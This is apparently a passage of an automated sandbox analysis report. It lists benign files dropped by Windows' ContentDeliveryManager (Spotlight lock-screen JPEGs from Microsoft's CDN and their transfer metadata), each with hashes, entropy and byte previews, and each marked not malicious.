                  SHA-512:C70932761B865E405FC8A0095B7B0FF5151FFD0F0DA611223A4DC31D0760B8B85F8327E33FBEA976439240BE5A4AFCFFB07553E3E4235DDFBFC807D2DCD8390D
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .1.8. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.1.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.b.3.0.3.f.5.5.-.c.4.4.f.-.4.4.5.a.-.8.0.b.2.-.3.9.0.2.9.1.7.3.7.1.c.3...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6389f93d-d52f-4ead-a112-1be06250b904.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):278
                  Entropy (8bit):3.422473556620063
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRKaMAo4:ZxMghwLtHSM1Sb9mSMXAvwR/M
                  MD5:053A6748354C63633E9F064D374A3D64
                  SHA1:F7392A988C29192C2DBB9192931C98C346A03B46
                  SHA-256:1867022FBB28FC2A1F79ED84CFA93EFEE48C33EF120A7976E594BD497DA2ED3F
                  SHA-512:175DB5E34D5D66ABCBA2DC76ADF44978A26A70A5CCEA46FF96D3EC85F4F34BA0B571785C3A912E87FD3D194F101339B2D0E988D4A611FFA91F9AC9204BDE5765
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8964bd0c-e40e-4ef5-a591-f69be9da2e47.77a1f33e-f761-4282-9f35-d43ca0d50abd.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1226
                  Entropy (8bit):3.596887927940615
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwpXpjgWzgxjX+vUViwxBm71+GtsafxOc2CpX3mobAyt9/:LLD2mRi0XpjPgVX+v8iUBAptrfeIX3DF
                  MD5:4559C4E8E5D873679FCE952FE242BD59
                  SHA1:537B442842C3518281D31CE5A717280A95C6D4C3
                  SHA-256:D10BC749CE9E771675F5BCC8BBA009E60C9E02149E0499ED8EC7AEDCE410ADBA
                  SHA-512:5C5C1C204325CA881366DA753BA4506CC96AFB22C2008906C9F91F5D08ACA30B1FABF0EE3FC14B4F9375423108745415BF67AD30DB7D17A64597F7E302C5A593
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.X.o.O.?.v.e.r.=.d.1.c.5...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.X.o.O.?.v.e.r.=.d.1.c.5...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.2. .J.u.l. .2.0.2.2. .1.8.:.4.8.:.0.1. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .3.3.5.5.2.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .2.8.f.9.6.8.a.c.-.c.1.0.b.-.4.5.4.f.-.b.e.8.3.-.4.d.2.a.5.a.2.5.d.4.0.d...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .3.3.5.5.2.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8964bd0c-e40e-4ef5-a591-f69be9da2e47.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1080x1920, frames 3
                  Category:dropped
                  Size (bytes):335525
                  Entropy (8bit):7.966122875049298
                  Encrypted:false
                  SSDEEP:6144:e9Wcz+BYY3PkxLh4Nn8oj+uBrqGaXZdozOk2WMdSfy2VydQKvBbV+uoJ8uMN:AWTBcA8oj3rq3XZWqdSfy2rKJbV+F2l
                  MD5:6DC0B4588F27A01301156FBF0E915F22
                  SHA1:1FD064DE790342E83E34D376C7AB91F268C90C4C
                  SHA-256:0B3FDD84725D371A0940B280669A04C01705FBE966AF0BDC618CD1B3CF35B748
                  SHA-512:D5F962ADC6E1400DC69FDD72EDBB772C786E29146C8634436972A2169193DD624A533490856E271793FD8858CE1BC94BE5E27B95009DB11384F638E02079EFC9
                  Malicious:false
                  Preview:......JFIF.....`.`.....C....................................................................C.........................................................................8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....6.2?..n....s......:........Z....&.:.P.6.......Zw..............;..T.^....x..D{:....3.T._|....4.n.G.f....=3.... P;...<.(.v.....9.....?..1......*P.>.(.......}...s.LT...#..c.........n1.R*.z`R.......4.@.c5&=.=i.^....%_sK...O.g.K...........jM....n.>......U..6..R.......~=..q..T.....5 7.?A.M.S...J..j..W.r.zV@..=.S.\r).......'.&:.R..r:.yc'..3i..iUH...B.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\94f0b3d7-1ddd-4b94-8b56-54000d0d76c6.4179db59-a2c7-49c8-8ed9-c24d34c07748.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1228
                  Entropy (8bit):3.6250666144209323
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwSXFWzgx71+MhusafxOc2CpXpjjX+vUViwSHB9X3CbbzrG/:LLD2mRijX+gvzurfeIXpjjX+v8ijHB9r
                  MD5:C87C7CC519BE368088EA81BFC7A11809
                  SHA1:63C066B428A89BEDCD443B3A7413F4E88AD96819
                  SHA-256:AF1B177859F0FA998755236B30BA1925BBF18FC238BCC8B490BE462F3D16B653
                  SHA-512:D549FA36445B1DA652ED84CC2110B77F24451EAC921DD0708D9B66D4424423C5F2CA29E55721713667F97C06D7525F0A7FF323D72CAD4ADD86CCE045DA6EEF49
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.U.V.S.?.v.e.r.=.0.8.b.c...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .1.3.:.4.1.:.1.6. .G.M.T...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.3.4.6.a.8.f.9.-.2.c.0.8.-.4.6.d.7.-.9.e.2.0.-.0.f.e.9.8.d.c.7.3.4.8.d...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.U.V.S.?.v.e.r.=.0.8.b.c...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .3.7.5.2.8.3...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .3.7.5.2.8.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\94f0b3d7-1ddd-4b94-8b56-54000d0d76c6.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):278
                  Entropy (8bit):3.4337873948492956
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRC0oN:ZxMghwLtHSM1Sb9mSMXAvwRng
                  MD5:0EF81F81E10861C9668D94EA1F924D43
                  SHA1:86E763958C9AD12A4EA50C66F7D55406921F0916
                  SHA-256:E115C76FDD3A9E4959CD8EF9FB8DB562CC588C167DFD28AC3C05F02D86D9715F
                  SHA-512:98DB91783EB677579A8933632743F3990FCF8AF9E4D1B59BBC3AF9E98464C2F1B8081B8CF2A0DF04954A9280399D19F6D4642BACBAFE29F0FCC754A5DB2276A4
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.U.V.S.?.v.e.r.=.0.8.b.c...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\b81813ce-603e-454c-b3b8-e3f9ea233444.78ab6cd6-ea34-4d6f-add6-03cbd3762aed.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1228
                  Entropy (8bit):3.6266274414309803
                  Encrypted:false
                  SSDEEP:24:LLVR2mRi2XpjgWzgxjX+vUViFzRBK81+2kDY5safxOc2CpX3K1bFrQO3U:LLD2mRi2XpjPgVX+v8i5RBKGDrfeIX3d
                  MD5:B155DB1A5911FFD94EA8BD2F9EAFBCB9
                  SHA1:DC790962D96973C1BE4A3D0B5379669EAEB1D948
                  SHA-256:BEB910AA12967681247335BF3EE8C1937D4C185955F242923F90B4296C3565B0
                  SHA-512:8F930F45E3CBA1F3731E8FF7C96CA46EDC0D29EF31F3A6EB4BE89A804A447DC4F299D7A0ECDD8E02E02DE30554D7F48422BE0D9E31CE7CBDD23A45FAE5C275C7
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.c.j.q.?.v.e.r.=.8.f.9.d...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.c.j.q.?.v.e.r.=.8.f.9.d...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .1.7. .J.u.l. .2.0.2.2. .1.7.:.5.8.:.3.9. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.9.2.2.5.1...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .b.c.9.5.7.3.c.b.-.1.3.7.f.-.4.3.0.7.-.8.d.7.7.-.4.d.5.4.c.3.9.6.5.5.a.2...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.9.2.2.5.1...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\b81813ce-603e-454c-b3b8-e3f9ea233444.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2021:08:05 10:25:11]
                  Category:dropped
                  Size (bytes):1692251
                  Entropy (8bit):6.959330050840245
                  Encrypted:false
                  SSDEEP:24576:D4jNiVr4q7XYQ8MBkGZMrEKBcP/prV/o0JGoGmfBkcqX39FU+5TB9iISGO5m88Y2:D4jNiVr4q4MxptqdFUU9xFGYZ
                  MD5:BBBFCE2D5F9D15C732E2A2409DA809FD
                  SHA1:B094BF5DD507BBD90EB82CB3BBFBDCEF06B6A488
                  SHA-256:6CC0F4291304AD14E221D1F1C4F386994BA6ABAA2FB168668179478ABDD9314C
                  SHA-512:138DC6E1628B6948F508D6C9FE4E5F4910552E2DC89B2E80EC7CD63878AB5EF54C38F222449C2089D05C8C026DD2A033243D16A5300E889E8527B5F6955BF7F2
                  Malicious:false
                  Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2021:08:05 10:25:11.............................8..........................................."...........*.(.....................2...................H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................Z.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..c...6D9.=.t.w(?...A.c.Oo.@w.X....t..Z#C..n..o._..l..~.^....Hx.Kv......r...i.u5o|....C..h...mY. ..[...X...Y.k....9....5.4...Hmu.[[.D.{......?..=[.A~

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\b95ef8a8-4aa6-4871-aa4f-255734b92334.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2021:08:05 10:24:07]
                  Category:dropped
                  Size (bytes):1841605
                  Entropy (8bit):7.10231415879514
                  Encrypted:false
                  SSDEEP:24576:BdC81bzzKXeDdqkDZg+EyfcT/irh/R0JGSUsffKieZOxa4BkRaY7eSO57BX4XdMW:BdC81bzNDdgdMOxamk0357BX4WIZ
                  MD5:619B888BA601B0DA37B3C7FDBB019B67
                  SHA1:468081DE788753D8BB21527B1C28875694C37244
                  SHA-256:339AE618758A62438630528DA28E97F0817F9B8158CE30CBD3025B325F5C8952
                  SHA-512:83E1FB6778140015AE2E313F0F8D4FF3150EC24565C8C490C3347EA165A38A19BFE12F44D441D3BDC4F9D4280A66E9324F33090DAF97CFB3F6109C3A5ADDFF32
                  Malicious:false
                  Preview:.....jExif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2021:08:05 10:24:07.........................................8..............................."...........*.(.....................2...........0.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..a.h....l.h...+...CIu."Cm{..t..f....A.../.MGa..h...Y..mS.-...W)..o.K..l.....@.x..G...g.?..#.f.N^#.0(-..^..p..u..Y.c.3..O..f.myai..?w{[.[.....)..9

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\b95ef8a8-4aa6-4871-aa4f-255734b92334.f8c93ed6-0f0b-4688-9ccc-7f5c52c3c5ce.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1226
                  Entropy (8bit):3.612777015023952
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwXpjgWzgxjX+vUViGj1BC1+9vclosafxOc2CpX3bbDx5//:LLD2mRiwXpjPgVX+v8i0B4dorfeIX3bH
                  MD5:9E2C4859A83864663454C02A0365C11F
                  SHA1:541393E9818494A5BAEE4FD02151DC20C8B98E84
                  SHA-256:2DC327AE1FD92C36D93478E686B7B373FBE98E8D6DBC9E0486F015075C2B7411
                  SHA-512:F1B54126ADEB30B6870EB3347F1F42F028286813BBC1583E830CEDA48D32436B0A0FF06AC3D20C28530F41653E15FFA416573FE492E89111E788783C5D2C5AD2
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.8.W.k.?.v.e.r.=.4.1.a.a...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.8.W.k.?.v.e.r.=.4.1.a.a...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.2. .J.u.l. .2.0.2.2. .2.1.:.0.8.:.2.9. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.8.4.1.6.0.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .f.4.d.7.7.b.6.3.-.8.1.5.9.-.4.a.c.d.-.8.8.2.b.-.e.9.f.a.4.d.a.d.1.5.5.b...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.8.4.1.6.0.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c2ee8568-d474-478b-b63e-940b3e4a90a7.77a1f33e-f761-4282-9f35-d43ca0d50abd.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1226
                  Entropy (8bit):3.596887927940615
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwpXpjgWzgxjX+vUViwxBm71+GtsafxOc2CpX3mobAyt9/:LLD2mRi0XpjPgVX+v8iUBAptrfeIX3DF
                  MD5:4559C4E8E5D873679FCE952FE242BD59
                  SHA1:537B442842C3518281D31CE5A717280A95C6D4C3
                  SHA-256:D10BC749CE9E771675F5BCC8BBA009E60C9E02149E0499ED8EC7AEDCE410ADBA
                  SHA-512:5C5C1C204325CA881366DA753BA4506CC96AFB22C2008906C9F91F5D08ACA30B1FABF0EE3FC14B4F9375423108745415BF67AD30DB7D17A64597F7E302C5A593
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.X.o.O.?.v.e.r.=.d.1.c.5...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.X.o.O.?.v.e.r.=.d.1.c.5...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.2. .J.u.l. .2.0.2.2. .1.8.:.4.8.:.0.1. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .3.3.5.5.2.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .2.8.f.9.6.8.a.c.-.c.1.0.b.-.4.5.4.f.-.b.e.8.3.-.4.d.2.a.5.a.2.5.d.4.0.d...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .3.3.5.5.2.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c2ee8568-d474-478b-b63e-940b3e4a90a7.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):278
                  Entropy (8bit):3.420803076595926
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwR4ir:ZxMghwLtHSM1Sb9mSMXAvwR
                  MD5:3CBED310CA97B9D092897B8109539C18
                  SHA1:D6FAF46C1FBA463BCA28CEB502FAA08D546A5AAA
                  SHA-256:9CF01B145FE879D3A73914186311947C1B2AB1257EB2DE4193487F279A31DCF1
                  SHA-512:567B386BFD5053BFF32116C150862B6B092CCE101B9F9562B99173BAD750197B0B285237D759FB27C62BC4B760985CA11B8771AD1BC29B8E917457FDD65B15FA
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.X.o.O.?.v.e.r.=.d.1.c.5...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658329503 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:Little-endian UTF-16 Unicode text, with no line terminators
                  Category:dropped
                  Size (bytes):336
                  Entropy (8bit):3.4614550965185478
                  Encrypted:false
                  SSDEEP:6:Qeu01nAKmsy6AlS5CGQAffetXDdv5XY4ANJdlzYiL+5K5SaNy/GolNPid:Qeu01n+p65CGIz95INjzYiaU5SaNgqd
                  MD5:FD0735136D3F13CA1A0C7B791FFE033A
                  SHA1:207700027867A3184094F840C56C4299C77DA4FA
                  SHA-256:B4910C1D0EAA6491697E04E36A9DA40D41869399786D8CDCF8828BD9C773364C
                  SHA-512:1BDD73A29E99B3F8F6DEDDEB0E8FF66919DB92A98432CAFF160A1EF61337D6DCD3E518526BBFEA9C6376FE52168CD1CD110B0774D95E0BCF7A50787BE6D0CBCD
                  Malicious:false
                  Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".e.r.r.o.r.s.".:.[.{.".c.o.d.e.".:.2.0.4.0.,.".m.s.g.".:.".D.e.m.a.n.d. .s.o.u.r.c.e. .r.e.t.u.r.n.s. .e.r.r.o.r. .(.N.a.m.e.:. .G.N._.p.s.,. .E.r.r.o.r.:. .N.o. .e.l.i.g.i.b.l.e. .c.o.n.t.e.n.t...)...".}.].,.".r.e.f.r.e.s.h.t.i.m.e.".:.".2.0.2.2.-.0.7.-.2.0.T.1.0.:.0.5.:.0.3.".}.}.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658329503.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:Little-endian UTF-16 Unicode text, with no line terminators
                  Category:dropped
                  Size (bytes):336
                  Entropy (8bit):3.4614550965185478
                  Encrypted:false
                  SSDEEP:6:Qeu01nAKmsy6AlS5CGQAffetXDdv5XY4ANJdlzYiL+5K5SaNy/GolNPid:Qeu01n+p65CGIz95INjzYiaU5SaNgqd
                  MD5:FD0735136D3F13CA1A0C7B791FFE033A
                  SHA1:207700027867A3184094F840C56C4299C77DA4FA
                  SHA-256:B4910C1D0EAA6491697E04E36A9DA40D41869399786D8CDCF8828BD9C773364C
                  SHA-512:1BDD73A29E99B3F8F6DEDDEB0E8FF66919DB92A98432CAFF160A1EF61337D6DCD3E518526BBFEA9C6376FE52168CD1CD110B0774D95E0BCF7A50787BE6D0CBCD
                  Malicious:false
